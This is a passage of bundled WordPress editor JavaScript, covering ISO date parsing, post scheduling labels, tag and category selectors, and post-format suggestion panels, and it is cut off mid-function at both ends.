18021 /^-?(?:(\d{3})|(\d{2})(?:-?(\d{2}))?|W(\d{2})(?:-?(\d{1}))?|)$/;
18022const timeRegex =
18023 /^(\d{2}(?:[.,]\d*)?)(?::?(\d{2}(?:[.,]\d*)?))?(?::?(\d{2}(?:[.,]\d*)?))?$/;
18024const timezoneRegex = /^([+-])(\d{2})(?::?(\d{2}))?$/;
18025
18026function splitDateString(dateString) {
18027 const dateStrings = {};
18028 const array = dateString.split(patterns.dateTimeDelimiter);
18029 let timeString;
18030
18031 // The regex match should only return at maximum two array elements.
18032 // [date], [time], or [date, time].
18033 if (array.length > 2) {
18034 return dateStrings;
18035 }
18036
18037 if (/:/.test(array[0])) {
18038 timeString = array[0];
18039 } else {
18040 dateStrings.date = array[0];
18041 timeString = array[1];
18042 if (patterns.timeZoneDelimiter.test(dateStrings.date)) {
18043 dateStrings.date = dateString.split(patterns.timeZoneDelimiter)[0];
18044 timeString = dateString.substr(
18045 dateStrings.date.length,
18046 dateString.length,
18047 );
18048 }
18049 }
18050
18051 if (timeString) {
18052 const token = patterns.timezone.exec(timeString);
18053 if (token) {
18054 dateStrings.time = timeString.replace(token[1], "");
18055 dateStrings.timezone = token[1];
18056 } else {
18057 dateStrings.time = timeString;
18058 }
18059 }
18060
18061 return dateStrings;
18062}
18063
18064function parseYear(dateString, additionalDigits) {
18065 const regex = new RegExp(
18066 "^(?:(\\d{4}|[+-]\\d{" +
18067 (4 + additionalDigits) +
18068 "})|(\\d{2}|[+-]\\d{" +
18069 (2 + additionalDigits) +
18070 "})$)",
18071 );
18072
18073 const captures = dateString.match(regex);
18074 // Invalid ISO-formatted year
18075 if (!captures) return { year: NaN, restDateString: "" };
18076
18077 const year = captures[1] ? parseInt(captures[1]) : null;
18078 const century = captures[2] ? parseInt(captures[2]) : null;
18079
18080 // either year or century is null, not both
18081 return {
18082 year: century === null ? year : century * 100,
18083 restDateString: dateString.slice((captures[1] || captures[2]).length),
18084 };
18085}
18086
18087function parseDate(dateString, year) {
18088 // Invalid ISO-formatted year
18089 if (year === null) return new Date(NaN);
18090
18091 const captures = dateString.match(dateRegex);
18092 // Invalid ISO-formatted string
18093 if (!captures) return new Date(NaN);
18094
18095 const isWeekDate = !!captures[4];
18096 const dayOfYear = parseDateUnit(captures[1]);
18097 const month = parseDateUnit(captures[2]) - 1;
18098 const day = parseDateUnit(captures[3]);
18099 const week = parseDateUnit(captures[4]);
18100 const dayOfWeek = parseDateUnit(captures[5]) - 1;
18101
18102 if (isWeekDate) {
18103 if (!validateWeekDate(year, week, dayOfWeek)) {
18104 return new Date(NaN);
18105 }
18106 return dayOfISOWeekYear(year, week, dayOfWeek);
18107 } else {
18108 const date = new Date(0);
18109 if (
18110 !validateDate(year, month, day) ||
18111 !validateDayOfYearDate(year, dayOfYear)
18112 ) {
18113 return new Date(NaN);
18114 }
18115 date.setUTCFullYear(year, month, Math.max(dayOfYear, day));
18116 return date;
18117 }
18118}
18119
18120function parseDateUnit(value) {
18121 return value ? parseInt(value) : 1;
18122}
18123
18124function parseTime(timeString) {
18125 const captures = timeString.match(timeRegex);
18126 if (!captures) return NaN; // Invalid ISO-formatted time
18127
18128 const hours = parseTimeUnit(captures[1]);
18129 const minutes = parseTimeUnit(captures[2]);
18130 const seconds = parseTimeUnit(captures[3]);
18131
18132 if (!validateTime(hours, minutes, seconds)) {
18133 return NaN;
18134 }
18135
18136 return (
18137 hours * millisecondsInHour + minutes * millisecondsInMinute + seconds * 1000
18138 );
18139}
18140
18141function parseTimeUnit(value) {
18142 return (value && parseFloat(value.replace(",", "."))) || 0;
18143}
18144
18145function parseTimezone(timezoneString) {
18146 if (timezoneString === "Z") return 0;
18147
18148 const captures = timezoneString.match(timezoneRegex);
18149 if (!captures) return 0;
18150
18151 const sign = captures[1] === "+" ? -1 : 1;
18152 const hours = parseInt(captures[2]);
18153 const minutes = (captures[3] && parseInt(captures[3])) || 0;
18154
18155 if (!validateTimezone(hours, minutes)) {
18156 return NaN;
18157 }
18158
18159 return sign * (hours * millisecondsInHour + minutes * millisecondsInMinute);
18160}
18161
18162function dayOfISOWeekYear(isoWeekYear, week, day) {
18163 const date = new Date(0);
18164 date.setUTCFullYear(isoWeekYear, 0, 4);
18165 const fourthOfJanuaryDay = date.getUTCDay() || 7;
18166 const diff = (week - 1) * 7 + day + 1 - fourthOfJanuaryDay;
18167 date.setUTCDate(date.getUTCDate() + diff);
18168 return date;
18169}
18170
18171// Validation functions
18172
18173// February is null to handle the leap year (using ||)
18174const daysInMonths = [31, null, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31];
18175
18176function isLeapYearIndex(year) {
18177 return year % 400 === 0 || (year % 4 === 0 && year % 100 !== 0);
18178}
18179
18180function validateDate(year, month, date) {
18181 return (
18182 month >= 0 &&
18183 month <= 11 &&
18184 date >= 1 &&
18185 date <= (daysInMonths[month] || (isLeapYearIndex(year) ? 29 : 28))
18186 );
18187}
18188
18189function validateDayOfYearDate(year, dayOfYear) {
18190 return dayOfYear >= 1 && dayOfYear <= (isLeapYearIndex(year) ? 366 : 365);
18191}
18192
18193function validateWeekDate(_year, week, day) {
18194 return week >= 1 && week <= 53 && day >= 0 && day <= 6;
18195}
18196
18197function validateTime(hours, minutes, seconds) {
18198 if (hours === 24) {
18199 return minutes === 0 && seconds === 0;
18200 }
18201
18202 return (
18203 seconds >= 0 &&
18204 seconds < 60 &&
18205 minutes >= 0 &&
18206 minutes < 60 &&
18207 hours >= 0 &&
18208 hours < 25
18209 );
18210}
18211
18212function validateTimezone(_hours, minutes) {
18213 return minutes >= 0 && minutes <= 59;
18214}
18215
18216// Fallback for modularized imports:
18217/* harmony default export */ const date_fns_parseISO = ((/* unused pure expression or super */ null && (parseISO)));
18218
18219;// ./node_modules/@wordpress/editor/build-module/components/post-schedule/index.js
18220
18221
18222
18223
18224
18225
18226
18227
18228
18229
18230const { PrivatePublishDateTimePicker } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
18231function PostSchedule(props) {
18232 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18233 PrivatePostSchedule,
18234 {
18235 ...props,
18236 showPopoverHeaderActions: true,
18237 isCompact: false
18238 }
18239 );
18240}
18241function PrivatePostSchedule({
18242 onClose,
18243 showPopoverHeaderActions,
18244 isCompact
18245}) {
18246 const { postDate, postType } = (0,external_wp_data_namespaceObject.useSelect)(
18247 (select) => ({
18248 postDate: select(store_store).getEditedPostAttribute("date"),
18249 postType: select(store_store).getCurrentPostType()
18250 }),
18251 []
18252 );
18253 const { editPost } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
18254 const onUpdateDate = (date) => editPost({ date });
18255 const [previewedMonth, setPreviewedMonth] = (0,external_wp_element_namespaceObject.useState)(
18256 startOfMonth(new Date(postDate))
18257 );
18258 const eventsByPostType = (0,external_wp_data_namespaceObject.useSelect)(
18259 (select) => select(external_wp_coreData_namespaceObject.store).getEntityRecords("postType", postType, {
18260 status: "publish,future",
18261 after: startOfMonth(previewedMonth).toISOString(),
18262 before: endOfMonth(previewedMonth).toISOString(),
18263 exclude: [select(store_store).getCurrentPostId()],
18264 per_page: 100,
18265 _fields: "id,date"
18266 }),
18267 [previewedMonth, postType]
18268 );
18269 const events = (0,external_wp_element_namespaceObject.useMemo)(
18270 () => (eventsByPostType || []).map(({ date: eventDate }) => ({
18271 date: new Date(eventDate)
18272 })),
18273 [eventsByPostType]
18274 );
18275 const settings = (0,external_wp_date_namespaceObject.getSettings)();
18276 const is12HourTime = /a(?!\\)/i.test(
18277 settings.formats.time.toLowerCase().replace(/\\\\/g, "").split("").reverse().join("")
18278 // Reverse the string and test for "a" not followed by a slash.
18279 );
18280 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18281 PrivatePublishDateTimePicker,
18282 {
18283 currentDate: postDate,
18284 onChange: onUpdateDate,
18285 is12Hour: is12HourTime,
18286 dateOrder: (
18287 /* translators: Order of day, month, and year. Available formats are 'dmy', 'mdy', and 'ymd'. */
18288 (0,external_wp_i18n_namespaceObject._x)("dmy", "date order")
18289 ),
18290 events,
18291 onMonthPreviewed: (date) => setPreviewedMonth(parseISO(date)),
18292 onClose,
18293 isCompact,
18294 showPopoverHeaderActions
18295 }
18296 );
18297}
18298
18299
18300;// ./node_modules/@wordpress/editor/build-module/components/post-schedule/label.js
18301
18302
18303
18304
18305function PostScheduleLabel(props) {
18306 return usePostScheduleLabel(props);
18307}
18308function usePostScheduleLabel({ full = false } = {}) {
18309 const { date, isFloating } = (0,external_wp_data_namespaceObject.useSelect)(
18310 (select) => ({
18311 date: select(store_store).getEditedPostAttribute("date"),
18312 isFloating: select(store_store).isEditedPostDateFloating()
18313 }),
18314 []
18315 );
18316 return full ? getFullPostScheduleLabel(date) : getPostScheduleLabel(date, { isFloating });
18317}
18318function getFullPostScheduleLabel(dateAttribute) {
18319 const date = (0,external_wp_date_namespaceObject.getDate)(dateAttribute);
18320 const timezoneAbbreviation = getTimezoneAbbreviation();
18321 const formattedDate = (0,external_wp_date_namespaceObject.dateI18n)(
18322 // translators: Use a non-breaking space between 'g:i' and 'a' if appropriate.
18323 (0,external_wp_i18n_namespaceObject._x)("F j, Y g:i\xA0a", "post schedule full date format"),
18324 date
18325 );
18326 return (0,external_wp_i18n_namespaceObject.isRTL)() ? `${timezoneAbbreviation} ${formattedDate}` : `${formattedDate} ${timezoneAbbreviation}`;
18327}
18328function getPostScheduleLabel(dateAttribute, { isFloating = false, now = /* @__PURE__ */ new Date() } = {}) {
18329 if (!dateAttribute || isFloating) {
18330 return (0,external_wp_i18n_namespaceObject.__)("Immediately");
18331 }
18332 if (!isTimezoneSameAsSiteTimezone(now)) {
18333 return getFullPostScheduleLabel(dateAttribute);
18334 }
18335 const date = (0,external_wp_date_namespaceObject.getDate)(dateAttribute);
18336 if (isSameDay(date, now)) {
18337 return (0,external_wp_i18n_namespaceObject.sprintf)(
18338 // translators: %s: Time of day the post is scheduled for.
18339 (0,external_wp_i18n_namespaceObject.__)("Today at %s"),
18340 // translators: If using a space between 'g:i' and 'a', use a non-breaking space.
18341 (0,external_wp_date_namespaceObject.dateI18n)((0,external_wp_i18n_namespaceObject._x)("g:i\xA0a", "post schedule time format"), date)
18342 );
18343 }
18344 const tomorrow = new Date(now);
18345 tomorrow.setDate(tomorrow.getDate() + 1);
18346 if (isSameDay(date, tomorrow)) {
18347 return (0,external_wp_i18n_namespaceObject.sprintf)(
18348 // translators: %s: Time of day the post is scheduled for.
18349 (0,external_wp_i18n_namespaceObject.__)("Tomorrow at %s"),
18350 // translators: If using a space between 'g:i' and 'a', use a non-breaking space.
18351 (0,external_wp_date_namespaceObject.dateI18n)((0,external_wp_i18n_namespaceObject._x)("g:i\xA0a", "post schedule time format"), date)
18352 );
18353 }
18354 if (date.getFullYear() === now.getFullYear()) {
18355 return (0,external_wp_date_namespaceObject.dateI18n)(
18356 // translators: If using a space between 'g:i' and 'a', use a non-breaking space.
18357 (0,external_wp_i18n_namespaceObject._x)("F j g:i\xA0a", "post schedule date format without year"),
18358 date
18359 );
18360 }
18361 return (0,external_wp_date_namespaceObject.dateI18n)(
18362 // translators: Use a non-breaking space between 'g:i' and 'a' if appropriate.
18363 (0,external_wp_i18n_namespaceObject._x)("F j, Y g:i\xA0a", "post schedule full date format"),
18364 date
18365 );
18366}
18367function getTimezoneAbbreviation() {
18368 const { timezone } = (0,external_wp_date_namespaceObject.getSettings)();
18369 if (timezone.abbr && isNaN(Number(timezone.abbr))) {
18370 return timezone.abbr;
18371 }
18372 const symbol = timezone.offset < 0 ? "" : "+";
18373 return `UTC${symbol}${timezone.offsetFormatted}`;
18374}
18375function isTimezoneSameAsSiteTimezone(date) {
18376 const { timezone } = (0,external_wp_date_namespaceObject.getSettings)();
18377 const siteOffset = Number(timezone.offset);
18378 const dateOffset = -1 * (date.getTimezoneOffset() / 60);
18379 return siteOffset === dateOffset;
18380}
18381function isSameDay(left, right) {
18382 return left.getDate() === right.getDate() && left.getMonth() === right.getMonth() && left.getFullYear() === right.getFullYear();
18383}
18384
18385
18386;// ./node_modules/@wordpress/editor/build-module/components/post-taxonomies/most-used-terms.js
18387
18388
18389
18390
18391
18392const MIN_MOST_USED_TERMS = 3;
18393const DEFAULT_QUERY = {
18394 per_page: 10,
18395 orderby: "count",
18396 order: "desc",
18397 hide_empty: true,
18398 _fields: "id,name,count",
18399 context: "view"
18400};
18401function MostUsedTerms({ onSelect, taxonomy }) {
18402 const { _terms, showTerms } = (0,external_wp_data_namespaceObject.useSelect)(
18403 (select) => {
18404 const mostUsedTerms = select(external_wp_coreData_namespaceObject.store).getEntityRecords(
18405 "taxonomy",
18406 taxonomy.slug,
18407 DEFAULT_QUERY
18408 );
18409 return {
18410 _terms: mostUsedTerms,
18411 showTerms: mostUsedTerms?.length >= MIN_MOST_USED_TERMS
18412 };
18413 },
18414 [taxonomy.slug]
18415 );
18416 if (!showTerms) {
18417 return null;
18418 }
18419 const terms = unescapeTerms(_terms);
18420 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-post-taxonomies__flat-term-most-used", children: [
18421 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18422 external_wp_components_namespaceObject.BaseControl.VisualLabel,
18423 {
18424 as: "h3",
18425 className: "editor-post-taxonomies__flat-term-most-used-label",
18426 children: taxonomy.labels.most_used
18427 }
18428 ),
18429 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18430 "ul",
18431 {
18432 role: "list",
18433 className: "editor-post-taxonomies__flat-term-most-used-list",
18434 children: terms.map((term) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("li", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18435 external_wp_components_namespaceObject.Button,
18436 {
18437 __next40pxDefaultSize: true,
18438 variant: "link",
18439 onClick: () => onSelect(term),
18440 children: term.name
18441 }
18442 ) }, term.id))
18443 }
18444 )
18445 ] });
18446}
18447
18448
18449;// ./node_modules/@wordpress/editor/build-module/components/post-taxonomies/flat-term-selector.js
18450
18451
18452
18453
18454
18455
18456
18457
18458
18459
18460
18461
18462
18463const flat_term_selector_EMPTY_ARRAY = [];
18464const MAX_TERMS_SUGGESTIONS = 100;
18465const flat_term_selector_DEFAULT_QUERY = {
18466 per_page: MAX_TERMS_SUGGESTIONS,
18467 _fields: "id,name",
18468 context: "view"
18469};
18470const isSameTermName = (termA, termB) => unescapeString(termA).toLowerCase() === unescapeString(termB).toLowerCase();
18471const termNamesToIds = (names, terms) => {
18472 return names.map(
18473 (termName) => terms.find((term) => isSameTermName(term.name, termName))?.id
18474 ).filter((id) => id !== void 0);
18475};
18476const Wrapper = ({ children, __nextHasNoMarginBottom }) => __nextHasNoMarginBottom ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.Fragment, { children });
18477function FlatTermSelector({ slug, __nextHasNoMarginBottom }) {
18478 const [values, setValues] = (0,external_wp_element_namespaceObject.useState)([]);
18479 const [search, setSearch] = (0,external_wp_element_namespaceObject.useState)("");
18480 const debouncedSearch = (0,external_wp_compose_namespaceObject.useDebounce)(setSearch, 500);
18481 if (!__nextHasNoMarginBottom) {
18482 external_wp_deprecated_default()(
18483 "Bottom margin styles for wp.editor.PostTaxonomiesFlatTermSelector",
18484 {
18485 since: "6.7",
18486 version: "7.0",
18487 hint: "Set the `__nextHasNoMarginBottom` prop to true to start opting into the new styles, which will become the default in a future version."
18488 }
18489 );
18490 }
18491 const {
18492 terms,
18493 termIds,
18494 taxonomy,
18495 hasAssignAction,
18496 hasCreateAction,
18497 hasResolvedTerms
18498 } = (0,external_wp_data_namespaceObject.useSelect)(
18499 (select) => {
18500 const { getCurrentPost, getEditedPostAttribute } = select(store_store);
18501 const { getEntityRecords, getEntityRecord, hasFinishedResolution } = select(external_wp_coreData_namespaceObject.store);
18502 const post = getCurrentPost();
18503 const _taxonomy = getEntityRecord("root", "taxonomy", slug);
18504 const _termIds = _taxonomy ? getEditedPostAttribute(_taxonomy.rest_base) : flat_term_selector_EMPTY_ARRAY;
18505 const query = {
18506 ...flat_term_selector_DEFAULT_QUERY,
18507 include: _termIds?.join(","),
18508 per_page: -1
18509 };
18510 return {
18511 hasCreateAction: _taxonomy ? post._links?.["wp:action-create-" + _taxonomy.rest_base] ?? false : false,
18512 hasAssignAction: _taxonomy ? post._links?.["wp:action-assign-" + _taxonomy.rest_base] ?? false : false,
18513 taxonomy: _taxonomy,
18514 termIds: _termIds,
18515 terms: _termIds?.length ? getEntityRecords("taxonomy", slug, query) : flat_term_selector_EMPTY_ARRAY,
18516 hasResolvedTerms: hasFinishedResolution("getEntityRecords", [
18517 "taxonomy",
18518 slug,
18519 query
18520 ])
18521 };
18522 },
18523 [slug]
18524 );
18525 const { searchResults } = (0,external_wp_data_namespaceObject.useSelect)(
18526 (select) => {
18527 const { getEntityRecords } = select(external_wp_coreData_namespaceObject.store);
18528 return {
18529 searchResults: !!search ? getEntityRecords("taxonomy", slug, {
18530 ...flat_term_selector_DEFAULT_QUERY,
18531 search
18532 }) : flat_term_selector_EMPTY_ARRAY
18533 };
18534 },
18535 [search, slug]
18536 );
18537 (0,external_wp_element_namespaceObject.useEffect)(() => {
18538 if (hasResolvedTerms) {
18539 const newValues = (terms ?? []).map(
18540 (term) => unescapeString(term.name)
18541 );
18542 setValues(newValues);
18543 }
18544 }, [terms, hasResolvedTerms]);
18545 const suggestions = (0,external_wp_element_namespaceObject.useMemo)(() => {
18546 return (searchResults ?? []).map(
18547 (term) => unescapeString(term.name)
18548 );
18549 }, [searchResults]);
18550 const { editPost } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
18551 const { saveEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
18552 const { createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
18553 if (!hasAssignAction) {
18554 return null;
18555 }
18556 async function findOrCreateTerm(term) {
18557 try {
18558 const newTerm = await saveEntityRecord("taxonomy", slug, term, {
18559 throwOnError: true
18560 });
18561 return unescapeTerm(newTerm);
18562 } catch (error) {
18563 if (error.code !== "term_exists") {
18564 throw error;
18565 }
18566 return {
18567 id: error.data.term_id,
18568 name: term.name
18569 };
18570 }
18571 }
18572 function onUpdateTerms(newTermIds) {
18573 editPost({ [taxonomy.rest_base]: newTermIds });
18574 }
18575 function onChange(termNames) {
18576 const availableTerms = [
18577 ...terms ?? [],
18578 ...searchResults ?? []
18579 ];
18580 const uniqueTerms = termNames.reduce((acc, name) => {
18581 if (!acc.some((n) => n.toLowerCase() === name.toLowerCase())) {
18582 acc.push(name);
18583 }
18584 return acc;
18585 }, []);
18586 const newTermNames = uniqueTerms.filter(
18587 (termName) => !availableTerms.find(
18588 (term) => isSameTermName(term.name, termName)
18589 )
18590 );
18591 setValues(uniqueTerms);
18592 if (newTermNames.length === 0) {
18593 onUpdateTerms(termNamesToIds(uniqueTerms, availableTerms));
18594 return;
18595 }
18596 if (!hasCreateAction) {
18597 return;
18598 }
18599 Promise.all(
18600 newTermNames.map(
18601 (termName) => findOrCreateTerm({ name: termName })
18602 )
18603 ).then((newTerms) => {
18604 const newAvailableTerms = availableTerms.concat(newTerms);
18605 onUpdateTerms(
18606 termNamesToIds(uniqueTerms, newAvailableTerms)
18607 );
18608 }).catch((error) => {
18609 createErrorNotice(error.message, {
18610 type: "snackbar"
18611 });
18612 onUpdateTerms(termNamesToIds(uniqueTerms, availableTerms));
18613 });
18614 }
18615 function appendTerm(newTerm) {
18616 if (termIds.includes(newTerm.id)) {
18617 return;
18618 }
18619 const newTermIds = [...termIds, newTerm.id];
18620 const defaultName = slug === "post_tag" ? (0,external_wp_i18n_namespaceObject.__)("Tag") : (0,external_wp_i18n_namespaceObject.__)("Term");
18621 const termAddedMessage = (0,external_wp_i18n_namespaceObject.sprintf)(
18622 /* translators: %s: term name. */
18623 (0,external_wp_i18n_namespaceObject._x)("%s added", "term"),
18624 taxonomy?.labels?.singular_name ?? defaultName
18625 );
18626 (0,external_wp_a11y_namespaceObject.speak)(termAddedMessage, "assertive");
18627 onUpdateTerms(newTermIds);
18628 }
18629 const newTermLabel = taxonomy?.labels?.add_new_item ?? (slug === "post_tag" ? (0,external_wp_i18n_namespaceObject.__)("Add Tag") : (0,external_wp_i18n_namespaceObject.__)("Add Term"));
18630 const singularName = taxonomy?.labels?.singular_name ?? (slug === "post_tag" ? (0,external_wp_i18n_namespaceObject.__)("Tag") : (0,external_wp_i18n_namespaceObject.__)("Term"));
18631 const termAddedLabel = (0,external_wp_i18n_namespaceObject.sprintf)(
18632 /* translators: %s: term name. */
18633 (0,external_wp_i18n_namespaceObject._x)("%s added", "term"),
18634 singularName
18635 );
18636 const termRemovedLabel = (0,external_wp_i18n_namespaceObject.sprintf)(
18637 /* translators: %s: term name. */
18638 (0,external_wp_i18n_namespaceObject._x)("%s removed", "term"),
18639 singularName
18640 );
18641 const removeTermLabel = (0,external_wp_i18n_namespaceObject.sprintf)(
18642 /* translators: %s: term name. */
18643 (0,external_wp_i18n_namespaceObject._x)("Remove %s", "term"),
18644 singularName
18645 );
18646 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(Wrapper, { __nextHasNoMarginBottom, children: [
18647 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18648 external_wp_components_namespaceObject.FormTokenField,
18649 {
18650 __next40pxDefaultSize: true,
18651 value: values,
18652 suggestions,
18653 onChange,
18654 onInputChange: debouncedSearch,
18655 maxSuggestions: MAX_TERMS_SUGGESTIONS,
18656 label: newTermLabel,
18657 messages: {
18658 added: termAddedLabel,
18659 removed: termRemovedLabel,
18660 remove: removeTermLabel
18661 },
18662 __nextHasNoMarginBottom
18663 }
18664 ),
18665 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MostUsedTerms, { taxonomy, onSelect: appendTerm })
18666 ] });
18667}
18668var flat_term_selector_default = (0,external_wp_components_namespaceObject.withFilters)("editor.PostTaxonomyType")(FlatTermSelector);
18669
18670
18671;// ./node_modules/@wordpress/editor/build-module/components/post-publish-panel/maybe-tags-panel.js
18672
18673
18674
18675
18676
18677
18678
18679
18680const TagsPanel = () => {
18681 const tagLabels = (0,external_wp_data_namespaceObject.useSelect)((select) => {
18682 const taxonomy = select(external_wp_coreData_namespaceObject.store).getTaxonomy("post_tag");
18683 return taxonomy?.labels;
18684 }, []);
18685 const addNewItem = tagLabels?.add_new_item ?? (0,external_wp_i18n_namespaceObject.__)("Add tag");
18686 const tagLabel = tagLabels?.name ?? (0,external_wp_i18n_namespaceObject.__)("Tags");
18687 const panelBodyTitle = [
18688 (0,external_wp_i18n_namespaceObject.__)("Suggestion:"),
18689 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "editor-post-publish-panel__link", children: addNewItem }, "label")
18690 ];
18691 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.PanelBody, { initialOpen: false, title: panelBodyTitle, children: [
18692 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.sprintf)(
18693 // translators: %s is the taxonomy name (e.g., "Tags").
18694 (0,external_wp_i18n_namespaceObject.__)(
18695 "%s help users and search engines navigate your site and find your content. Add a few keywords to describe your post."
18696 ),
18697 tagLabel
18698 ) }),
18699 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(flat_term_selector_default, { slug: "post_tag", __nextHasNoMarginBottom: true })
18700 ] });
18701};
18702const MaybeTagsPanel = () => {
18703 const { postHasTags, siteHasTags, isPostTypeSupported } = (0,external_wp_data_namespaceObject.useSelect)(
18704 (select) => {
18705 const postType = select(store_store).getCurrentPostType();
18706 const tagsTaxonomy = select(external_wp_coreData_namespaceObject.store).getEntityRecord(
18707 "root",
18708 "taxonomy",
18709 "post_tag"
18710 );
18711 const _isPostTypeSupported = tagsTaxonomy?.types?.includes(postType);
18712 const areTagsFetched = tagsTaxonomy !== void 0;
18713 const tags = tagsTaxonomy && select(store_store).getEditedPostAttribute(
18714 tagsTaxonomy.rest_base
18715 );
18716 const siteTags = _isPostTypeSupported ? !!select(external_wp_coreData_namespaceObject.store).getEntityRecords(
18717 "taxonomy",
18718 "post_tag",
18719 { per_page: 1 }
18720 )?.length : false;
18721 return {
18722 postHasTags: !!tags?.length,
18723 siteHasTags: siteTags,
18724 isPostTypeSupported: areTagsFetched && _isPostTypeSupported
18725 };
18726 },
18727 []
18728 );
18729 const [hadTagsWhenOpeningThePanel] = (0,external_wp_element_namespaceObject.useState)(postHasTags);
18730 if (!isPostTypeSupported || !siteHasTags) {
18731 return null;
18732 }
18733 if (!hadTagsWhenOpeningThePanel) {
18734 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagsPanel, {});
18735 }
18736 return null;
18737};
18738var maybe_tags_panel_default = MaybeTagsPanel;
18739
18740
18741;// ./node_modules/@wordpress/editor/build-module/components/post-publish-panel/maybe-post-format-panel.js
18742
18743
18744
18745
18746
18747
18748
18749const getSuggestion = (supportedFormats, suggestedPostFormat) => {
18750 const formats = POST_FORMATS.filter(
18751 (format) => supportedFormats?.includes(format.id)
18752 );
18753 return formats.find((format) => format.id === suggestedPostFormat);
18754};
18755const PostFormatSuggestion = ({
18756 suggestedPostFormat,
18757 suggestionText,
18758 onUpdatePostFormat
18759}) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18760 external_wp_components_namespaceObject.Button,
18761 {
18762 __next40pxDefaultSize: true,
18763 variant: "link",
18764 onClick: () => onUpdatePostFormat(suggestedPostFormat),
18765 children: suggestionText
18766 }
18767);
18768function PostFormatPanel() {
18769 const { currentPostFormat, suggestion } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
18770 const { getEditedPostAttribute, getSuggestedPostFormat } = select(store_store);
18771 const supportedFormats = select(external_wp_coreData_namespaceObject.store).getThemeSupports().formats ?? [];
18772 return {
18773 currentPostFormat: getEditedPostAttribute("format"),
18774 suggestion: getSuggestion(
18775 supportedFormats,
18776 getSuggestedPostFormat()
18777 )
18778 };
18779 }, []);
18780 const { editPost } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
18781 const onUpdatePostFormat = (format) => editPost({ format });
18782 const panelBodyTitle = [
18783 (0,external_wp_i18n_namespaceObject.__)("Suggestion:"),
18784 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "editor-post-publish-panel__link", children: (0,external_wp_i18n_namespaceObject.__)("Use a post format") }, "label")
18785 ];
18786 if (!suggestion || suggestion.id === currentPostFormat) {
18787 return null;
18788 }
18789 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.PanelBody, { initialOpen: false, title: panelBodyTitle, children: [
18790 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)(
18791 "Your theme uses post formats to highlight different kinds of content, like images or videos. Apply a post format to see this special styling."
18792 ) }),
18793 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18794 PostFormatSuggestion,
18795 {
18796 onUpdatePostFormat,
18797 suggestedPostFormat: suggestion.id,
18798 suggestionText: (0,external_wp_i18n_namespaceObject.sprintf)(
18799 /* translators: %1s: post format */
18800 (0,external_wp_i18n_namespaceObject.__)('Apply the "%1$s" format.'),
18801 suggestion.caption
18802 )
18803 }
18804 ) })
18805 ] });
18806}
18807
18808
18809;// ./node_modules/@wordpress/editor/build-module/components/post-taxonomies/hierarchical-term-selector.js
18810
18811
18812
18813
18814
18815
18816
18817
18818
18819
18820
18821
18822
18823const { normalizeTextString } = unlock(external_wp_components_namespaceObject.privateApis);
18824const { RECEIVE_INTERMEDIATE_RESULTS } = unlock(external_wp_coreData_namespaceObject.privateApis);
18825const hierarchical_term_selector_DEFAULT_QUERY = {
18826 per_page: -1,
18827 orderby: "name",
18828 order: "asc",
18829 _fields: "id,name,parent",
18830 context: "view",
18831 [RECEIVE_INTERMEDIATE_RESULTS]: true
18832};
18833const MIN_TERMS_COUNT_FOR_FILTER = 8;
18834const hierarchical_term_selector_EMPTY_ARRAY = [];
18835function sortBySelected(termsTree, terms) {
18836 const treeHasSelection = (termTree) => {
18837 if (terms.indexOf(termTree.id) !== -1) {
18838 return true;
18839 }
18840 if (void 0 === termTree.children) {
18841 return false;
18842 }
18843 return termTree.children.map(treeHasSelection).filter((child) => child).length > 0;
18844 };
18845 const termOrChildIsSelected = (termA, termB) => {
18846 const termASelected = treeHasSelection(termA);
18847 const termBSelected = treeHasSelection(termB);
18848 if (termASelected === termBSelected) {
18849 return 0;
18850 }
18851 if (termASelected && !termBSelected) {
18852 return -1;
18853 }
18854 if (!termASelected && termBSelected) {
18855 return 1;
18856 }
18857 return 0;
18858 };
18859 const newTermTree = [...termsTree];
18860 newTermTree.sort(termOrChildIsSelected);
18861 return newTermTree;
18862}
18863function findTerm(terms, parent, name) {
18864 return terms.find((term) => {
18865 return (!term.parent && !parent || parseInt(term.parent) === parseInt(parent)) && term.name.toLowerCase() === name.toLowerCase();
